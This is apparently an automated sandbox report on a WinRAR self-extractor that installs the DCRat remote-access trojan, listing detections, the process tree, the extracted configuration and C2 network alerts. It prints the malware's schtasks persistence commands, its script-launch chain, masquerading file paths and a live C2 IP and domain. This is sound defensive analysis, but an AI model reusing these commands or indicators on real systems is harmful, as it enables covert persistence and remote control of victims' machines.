Edit tour

Windows Analysis Report
setup.exe

Overview

General Information

Sample name:	setup.exe
Analysis ID:	1582047
MD5:	027bbb0a4d9b911c6d707866e98c1314
SHA1:	bfbdb849dcf89395492d916b69308505b87bb7fc
SHA256:	2a31d3dc6783dad77df215a986789fb27933fe4b5c59705eb20c256788d4533c
Tags:	exesfxuser-aachum
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Creates processes via WMI

Drops PE files to the user root directory

Drops executable to a common third party application directory

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

setup.exe (PID: 6848 cmdline: "C:\Users\user\Desktop\setup.exe" MD5: 027BBB0A4D9B911C6D707866E98C1314)

wscript.exe (PID: 6996 cmdline: "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 2196 cmdline: C:\Windows\system32\cmd.exe /c ""C:\refBrokerDhcp\eop7KwarhdN0r.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msbrowser.exe (PID: 5960 cmdline: "C:\refBrokerDhcp\msbrowser.exe" MD5: 3D428539F2CDDF97ABFE6586DF2F2C1D)

msbrowser.exe (PID: 1720 cmdline: "C:\refBrokerDhcp\msbrowser.exe" MD5: 3D428539F2CDDF97ABFE6586DF2F2C1D)

schtasks.exe (PID: 6524 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2128 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4180 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 10 /tr "'C:\refBrokerDhcp\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6096 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6220 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6584 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\mozilla maintenance service\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6968 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 14 /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6868 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6848 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Recovery\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7104 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 8 /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6180 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5480 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 6 /tr "'C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6312 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 5 /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2308 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6588 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 12 /tr "'C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 1312 cmdline: schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 13 /tr "'C:\Recovery\ctfmon.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 5296 cmdline: schtasks.exe /create /tn "ctfmon" /sc ONLOGON /tr "'C:\Recovery\ctfmon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4956 cmdline: schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 8 /tr "'C:\Recovery\ctfmon.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 932 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 2004 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 6944 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Desktop\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 7044 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4248 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUS" /sc ONLOGON /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3940 cmdline: schtasks.exe /create /tn "oPmKvuejiIKwwErUSo" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\microsoft.net\Primary Interop Assemblies\oPmKvuejiIKwwErUS.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Malware Configuration

Threatname: DCRat

{"SCRT": "{\"I\":\")\",\"9\":\";\",\"d\":\" \",\"R\":\"%\",\"A\":\"&\",\"W\":\"-\",\"L\":\">\",\"J\":\"<\",\"S\":\"#\",\"y\":\"^\",\"G\":\",\",\"Q\":\"|\",\"F\":\"@\",\"k\":\"~\",\"5\":\"!\",\"4\":\"$\",\"6\":\"(\",\"c\":\"_\",\"M\":\"`\",\"H\":\".\",\"O\":\"*\"}", "PCRT": "{\"I\":\" \",\"p\":\"_\",\"S\":\"#\",\"l\":\"%\",\"6\":\"(\",\"w\":\")\",\"b\":\"^\",\"c\":\"&\",\"i\":\"-\",\"y\":\"|\",\"X\":\",\",\"=\":\";\",\"x\":\"<\",\"f\":\"*\",\"j\":\"@\",\"D\":\".\",\"e\":\"~\",\"0\":\"!\",\"M\":\">\",\"Q\":\"`\"}", "TAG": "", "MUTEX": "DCR_MUTEX-b1qiNyGyhlqhyLEIwhE8", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.1739828921.0000000002FFA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000011.00000002.1761010845.0000000002A59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000011.00000002.1761010845.00000000025D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000004.00000002.1739828921.0000000002E11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: msbrowser.exe PID: 5960	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: msbrowser.exe PID: 1720	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\refBrokerDhcp\msbrowser.exe, ProcessId: 5960, TargetFilename: C:\Users\user\sihost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\setup.exe", ParentImage: C:\Users\user\Desktop\setup.exe, ParentProcessId: 6848, ParentProcessName: setup.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe" , ProcessId: 6996, ProcessName: wscript.exe

Suricata Signatures

ET MALWARE DCRAT Activity (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T17:51:17.564640+0100	2034194	1	A Network Trojan was detected	192.168.2.4	49734	141.8.192.164	80	TCP

ETPRO MALWARE DCRat Initial Checkin Server Response M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T17:51:49.824150+0100	2850862	1	Malware Command and Control Activity Detected	141.8.192.164	80	192.168.2.4	49736	TCP
2024-12-29T17:52:50.816569+0100	2850862	1	Malware Command and Control Activity Detected	141.8.192.164	80	192.168.2.4	49793	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: setup.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\sihost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\refBrokerDhcp\msbrowser.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Found malware configuration

Source: 00000011.00000002.1761010845.00000000025D1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"I\":\")\",\"9\":\";\",\"d\":\" \",\"R\":\"%\",\"A\":\"&\",\"W\":\"-\",\"L\":\">\",\"J\":\"<\",\"S\":\"#\",\"y\":\"^\",\"G\":\",\",\"Q\":\"|\",\"F\":\"@\",\"k\":\"~\",\"5\":\"!\",\"4\":\"$\",\"6\":\"(\",\"c\":\"_\",\"M\":\"`\",\"H\":\".\",\"O\":\"*\"}", "PCRT": "{\"I\":\" \",\"p\":\"_\",\"S\":\"#\",\"l\":\"%\",\"6\":\"(\",\"w\":\")\",\"b\":\"^\",\"c\":\"&\",\"i\":\"-\",\"y\":\"|\",\"X\":\",\",\"=\":\";\",\"x\":\"<\",\"f\":\"*\",\"j\":\"@\",\"D\":\".\",\"e\":\"~\",\"0\":\"!\",\"M\":\">\",\"Q\":\"`\"}", "TAG": "", "MUTEX": "DCR_MUTEX-b1qiNyGyhlqhyLEIwhE8", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 1, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Multi AV Scanner detection for submitted file

Source: setup.exe	ReversingLabs: Detection: 71%
Source: setup.exe	Virustotal: Detection: 58%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Joe Sandbox ML: detected
Source: C:\Users\user\sihost.exe	Joe Sandbox ML: detected
Source: C:\refBrokerDhcp\msbrowser.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: setup.exe

Joe Sandbox ML: detected

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\RuntimeBroker.exe	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\9e8d7a4ca61bd9	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Adobe\conhost.exe	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Directory created: C:\Program Files\Adobe\088424020bedd6	Jump to behavior

Source: setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: setup.exe

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_0049A5F4
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_004AB8E0

Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.4:49734 -> 141.8.192.164:80
Source: Network traffic	Suricata IDS: 2850862 - Severity 1 - ETPRO MALWARE DCRat Initial Checkin Server Response M4 : 141.8.192.164:80 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2850862 - Severity 1 - ETPRO MALWARE DCRat Initial Checkin Server Response M4 : 141.8.192.164:80 -> 192.168.2.4:49793

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: a1069594.xsph.ru

Source: msbrowser.exe, 00000004.00000002.1739828921.0000000002FFA000.00000004.00000800.00020000.00000000.sdmp, msbrowser.exe, 00000011.00000002.1761010845.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0049718C: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_0049718C

Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Windows\Performance\WinSAT\DataStore\oPmKvuejiIKwwErUS.exe	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Windows\Performance\WinSAT\DataStore\96f3f64f4a7d20	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Windows\SysWOW64\GroupPolicyUsers\oPmKvuejiIKwwErUS.exe	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File created: C:\Windows\SysWOW64\GroupPolicyUsers\96f3f64f4a7d20	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049857B	0_2_0049857B
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049407E	0_2_0049407E
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004BD00E	0_2_004BD00E
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A70BF	0_2_004A70BF
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004C1194	0_2_004C1194
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B02F6	0_2_004B02F6
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00493281	0_2_00493281
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049E2A0	0_2_0049E2A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A6646	0_2_004A6646
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B070E	0_2_004B070E
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B473A	0_2_004B473A
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A37C1	0_2_004A37C1
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004927E8	0_2_004927E8
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049E8A0	0_2_0049E8A0
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049F968	0_2_0049F968
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B4969	0_2_004B4969
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A6A7B	0_2_004A6A7B
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A3A3C	0_2_004A3A3C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B0B43	0_2_004B0B43
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004BCB60	0_2_004BCB60
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A5C77	0_2_004A5C77
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004A3D6D	0_2_004A3D6D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049ED14	0_2_0049ED14
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AFDFA	0_2_004AFDFA
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049DE6C	0_2_0049DE6C
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049BE13	0_2_0049BE13
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B0F78	0_2_004B0F78
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00495F3C	0_2_00495F3C
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 4_2_00007FFD9BAA35D5	4_2_00007FFD9BAA35D5
Source: C:\refBrokerDhcp\msbrowser.exe	Code function: 17_2_00007FFD9BAB35D5	17_2_00007FFD9BAB35D5

Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 004AE360 appears 52 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 004AED00 appears 31 times
Source: C:\Users\user\Desktop\setup.exe	Code function: String function: 004AE28C appears 35 times

Source: msbrowser.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: oPmKvuejiIKwwErUS.exe.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: oPmKvuejiIKwwErUS.exe0.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: setup.exe, 00000000.00000003.1633954777.0000000006E08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs setup.exe
Source: setup.exe, 00000000.00000003.1634808315.000000000587F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs setup.exe
Source: setup.exe, 00000000.00000003.1634414914.0000000005751000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs setup.exe
Source: setup.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs setup.exe

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.3.setup.exe.579e52d.1.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, YuegPVO00D0UlCvpvck.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.3.setup.exe.579e52d.1.raw.unpack, YuegPVO00D0UlCvpvck.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, qKwCUKYykFaJEfgPiqH.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, YuegPVO00D0UlCvpvck.cs	Cryptographic APIs: 'TransformBlock'
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, YuegPVO00D0UlCvpvck.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.3.setup.exe.6e5552d.0.raw.unpack, d1Npw0fiNuU81sXUKa9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.setup.exe.6e5552d.0.raw.unpack, d1Npw0fiNuU81sXUKa9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.setup.exe.579e52d.1.raw.unpack, d1Npw0fiNuU81sXUKa9.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.setup.exe.579e52d.1.raw.unpack, d1Npw0fiNuU81sXUKa9.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@36/13@2/0

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00496EC9 GetLastError,FormatMessageW,

0_2_00496EC9

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004A9E1C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_004A9E1C

Source: C:\refBrokerDhcp\msbrowser.exe

File created: C:\Program Files (x86)\microsoft\oPmKvuejiIKwwErUS.exe

Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe

File created: C:\Users\user\sihost.exe

Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe	Mutant created: NULL
Source: C:\refBrokerDhcp\msbrowser.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\7bb273a5b8c06c606ca5193c5fc758e93925671e
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2316:120:WilError_03

Source: C:\refBrokerDhcp\msbrowser.exe

File created: C:\Users\user\AppData\Local\Temp\m9r2bYdpEC

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refBrokerDhcp\eop7KwarhdN0r.bat" "

Source: C:\Users\user\Desktop\setup.exe	Command line argument: sfxname	0_2_004AD5D4
Source: C:\Users\user\Desktop\setup.exe	Command line argument: sfxstime	0_2_004AD5D4
Source: C:\Users\user\Desktop\setup.exe	Command line argument: STARTDLG	0_2_004AD5D4
Source: C:\Users\user\Desktop\setup.exe	Command line argument: xjN	0_2_004AD5D4

Source: setup.exe

